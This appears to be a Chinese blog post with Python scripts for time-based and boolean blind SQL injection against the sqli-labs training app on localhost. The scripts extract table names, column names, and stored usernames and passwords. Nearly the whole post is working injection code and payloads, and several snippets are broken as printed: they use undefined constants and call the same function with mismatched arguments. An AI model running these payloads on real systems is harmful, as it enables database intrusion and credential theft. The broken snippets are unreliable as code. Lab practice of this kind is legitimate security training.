时间盲注&Boolen盲注 获取表、列、具体数据的函数

时间盲注

获取表

import requests
import time

# 目标URL
url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
# 延迟时间(用于判断是否触发SLEEP)
delay = 2
# 最大表名长度
max_table_length = 30
# ASCII码范围(可打印字符)
ascii_range = range(32, 127)

def is_injected(payload):
    """
    判断是否触发时间延迟
    :param payload: 注入的SQL语句
    :return: 如果触发延迟,返回True;否则返回False
    """
    try:
        # 记录请求开始时间
        start = time.time()
        # 发送请求,设置超时时间为delay + 1秒
        requests.get(url, params={"id": f"1' AND {payload}-- "}, timeout=delay + 1)
        # 计算请求耗时
        request_time = time.time() - start
        # 如果请求时间超过delay,则认为触发延迟
        return request_time > delay
    except requests.exceptions.Timeout:
        # 如果请求超时,直接认为触发延迟
        return True
    except requests.exceptions.RequestException as e:
        # 处理其他请求异常(如网络错误)
        print(f"请求失败: {e}")
        return False

def extract_table_name():
    """
    提取数据库中的第一个表名
    :return: 提取到的表名
    """
    table_name = []
    # 遍历表名的每个字符位置
    for pos in range(1, max_table_length + 1):
        # 遍历ASCII码范围
        for c in ascii_range:
            # 构造Payload,测试当前字符是否匹配
            payload = f"IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),{pos},1))={c},SLEEP({delay}),0)"
            # 如果触发延迟,说明当前字符匹配
            if is_injected(payload):
                table_name.append(chr(c))  # 将字符加入表名列表
                print(f"当前表名: {''.join(table_name)}")  # 打印当前已提取的表名
                break
        else:
            # 如果内层循环未找到匹配字符,说明表名已提取完毕
            break
    return ''.join(table_name)

if __name__ == "__main__":
    # 提取表名并输出
    table_name = extract_table_name()
    print(f"最终提取的表名: {table_name}")

获取列

同上

def get_column_name(url, table_name, delay):
    """
    此函数用于通过基于时间的盲注技术获取指定表的第一个列名。
    :param url: 目标 URL,即存在 SQL 注入漏洞的页面地址
    :param table_name: 要查询列名的表名
    :param delay: 设定的延迟时间,用于判断是否触发了 SLEEP 函数
    :return: 返回获取到的列名
    """
    column = []  # 用于存储获取到的列名的字符列表
    for position in range(1, 30):  # 遍历可能的字符位置,最多尝试 30 个字符
        found = False  # 标记是否找到当前位置的字符
        for ascii_code in range(32, 127):  # 遍历 ASCII 码范围从 32 到 126 的字符
            # 构造注入载荷,使用 IF 语句判断指定位置的字符的 ASCII 码是否等于当前字符的 ASCII 码
            # 如果相等,则执行 SLEEP 函数,否则返回 0
            payload = f"IF(ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}' LIMIT 1),{position},1))={ascii_code},SLEEP({delay}),0)"
            if is_injected(url, payload, delay):  # 调用 is_injected 函数判断注入是否成功
                column.append(chr(ascii_code))  # 如果注入成功,将当前字符添加到 column 列表中
                print("".join(column))  # 打印当前已获取到的列名
                found = True  # 标记已找到当前位置的字符
                break  # 跳出内层循环,继续尝试下一个位置的字符
        if not found:
            # 如果内层循环没有找到匹配的字符,说明已经获取到完整的列名,跳出外层循环
            break
    return ''.join(column)  # 返回最终获取到的列名

if __name__ == "__main__":
    # 目标 URL,指向存在 SQL 注入漏洞的页面
    target_url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
    # 设置延迟时间,用于判断是否触发了 SLEEP 函数
    sleep_delay = 2
    # 指定要查询列名的表名
    target_table_name = "emails"
    # 调用 get_column_name 函数获取列名
    column_name = get_column_name(target_url, target_table_name, sleep_delay)
    print(f"获取到的列名是: {column_name}")

获取具体数据

def get_first_row_data():
    """
    此函数用于通过基于时间的盲注技术获取指定表和列的第一行数据。
    :return: 返回获取到的第一行数据
    """
    data = []  # 用于存储获取到的数据的字符列表
    for position in range(1, 50):  # 遍历可能的字符位置,最多尝试 50 个字符
        found = False  # 标记是否找到当前位置的字符
        for ascii_code in range(32, 127):  # 遍历 ASCII 码范围从 32 到 126 的字符
            # 构造注入载荷,使用 IF 语句判断指定位置的字符的 ASCII 码是否等于当前字符的 ASCII 码
            # 如果相等,则执行 SLEEP 函数,否则返回 0
            payload = f"IF(ASCII(SUBSTR((SELECT {column_name} FROM {table_name} LIMIT 1),{position},1))={ascii_code},SLEEP({delay}),0)"
            if is_injected(payload):  # 调用 is_injected 函数判断注入是否成功
                data.append(chr(ascii_code))  # 如果注入成功,将当前字符添加到 data 列表中
                print("".join(data))  # 打印当前已获取到的数据
                found = True  # 标记已找到当前位置的字符
                break  # 跳出内层循环,继续尝试下一个位置的字符
        if not found:
            # 如果内层循环没有找到匹配的字符,说明已经获取到完整的数据,跳出外层循环
            break
    return ''.join(data)  # 返回最终获取到的数据

	print(''.join(data))

布尔盲注

获取表

import requests

# 常量定义,提高代码的可维护性

url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8?id=1%27'

payload = 'and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=' \
          'database()%20limit%20{t},1),{w},1))={A}%20--%20k'
ASCII_LIST = [64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,
              72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,
              104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44]
SUCCESS_STR = "You are in..........."
SUCCESS_BYTES = bytes(SUCCESS_STR, 'utf-8')
TABLE_COUNT = 4
CHAR_COUNT = 10

def get_table_names():
    """
    通过 SQL 盲注获取数据库的前四个表名
    :return: 包含四个表名的列表
    """
    table_names = [''] * TABLE_COUNT  # 初始化一个包含四个空字符串的列表,用于存储表名
    for table_index in range(TABLE_COUNT):
        for char_index in range(1, CHAR_COUNT + 1):
            for ascii_code in ASCII_LIST:
                # 格式化 Payload
                payload = PAYLOAD_TEMPLATE.format(t=table_index, w=char_index, A=ascii_code)
                try:
                    # 发送请求
                    response = requests.get(TARGET_URL + payload)
                    if SUCCESS_BYTES in response.content:
                        # 将匹配到的字符添加到对应的表名中
                        table_names[table_index] += chr(ascii_code)
                        print(f"正在对比第{table_index + 1}个表, 第{char_index}个字符, 当前表名: {table_names[table_index]}")
                        break
                except requests.RequestException as e:
                    # 处理请求异常
                    print(f"请求发生错误: {e}")
    return table_names

if __name__ == "__main__":
    table_names = get_table_names()
    for i, table_name in enumerate(table_names, start=1):
        print(f'tables{i} --> {table_name}')

获取列

import requests

# 定义常量,提高代码可维护性
CHAR_LIST = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
             'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C',
             'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
             'Z', '.']

url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8?id=1%27'
payload = '%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security' \
          '%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--%20k'

SUCCESS_MSG = 'You are in...........'
SUCCESS_BYTES = bytes(SUCCESS_MSG, 'utf-8')
COLUMN_COUNT = 5  # 要获取的列名数量
MAX_CHAR_LENGTH = 8  # 每个列名最多尝试的字符长度

def get_column_names():
    """
    通过 SQL 盲注获取指定表的列名
    :return: 包含列名的列表
    """
    columns = [''] * COLUMN_COUNT  # 初始化列名列表
    for column_index in range(COLUMN_COUNT):
        for char_index in range(1, MAX_CHAR_LENGTH + 1):
            for char in CHAR_LIST:
                # 格式化 Payload
                payload = PAYLOAD_TEMPLATE.format(w=column_index, n=char_index, c=columns[column_index] + char)
                try:
                    # 发送请求
                    response = requests.get(TARGET_URL + payload)
                    if SUCCESS_BYTES in response.content:
                        # 若响应中包含成功信息,更新列名
                        columns[column_index] += char
                        print(f'正在对比第 {column_index + 1} 个字段第 {char_index} 个字符: {columns[column_index]}')
                        break
                except requests.RequestException as e:
                    # 处理网络请求异常
                    print(f'网络请求出错: {e}')
    return columns

if __name__ == "__main__":
    column_names = get_column_names()
    for i, column_name in enumerate(column_names, start=1):
        print(f'column {i} --> {column_name}')

获取具体数据


CHAR_LIST = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C',
         'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
         'Z', '.']
         
url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8?id=1%27'
payload = '%20and%20left((select%20username%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'

def get_field_values(field_name):
    """
    通过 SQL 盲注获取指定字段的值
    :param field_name: 要获取的字段名,如 'username' 或 'password'
    :return: 包含该字段值的列表
    """
    values = [''] * RECORD_COUNT
    payload_template = f'%20and%20left((select%20{field_name}%20from%20users%20where%20id%20={{n}}),{{w}})=%27{{d}}%27%20--%20k'
    for record_index in range(1, RECORD_COUNT + 1):
        for char_index in range(1, CHAR_LENGTH + 1):
            for char in CHAR_LIST:
                payload = payload_template.format(n=record_index, w=char_index, d=values[record_index - 1] + char)
                try:
                    response = requests.get(TARGET_URL + payload)
                    if SUCCESS_BYTES in response.content:
                        values[record_index - 1] += char
                        print(f'正在对比第 {record_index} 个记录的 {field_name} 的第 {char_index} 个字符: {values[record_index - 1]}')
                        break
                except requests.RequestException as e:
                    print(f'网络请求出错: {e}')
    return values

if __name__ == "__main__":
    # 获取 username 字段的值
    usernames = get_field_values('username')
    # 获取 password 字段的值
    passwords = get_field_values('password')

    print('id    username    password')
    for i in range(RECORD_COUNT):
        print(f'{i + 1} - {usernames[i]} - {passwords[i]}')
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值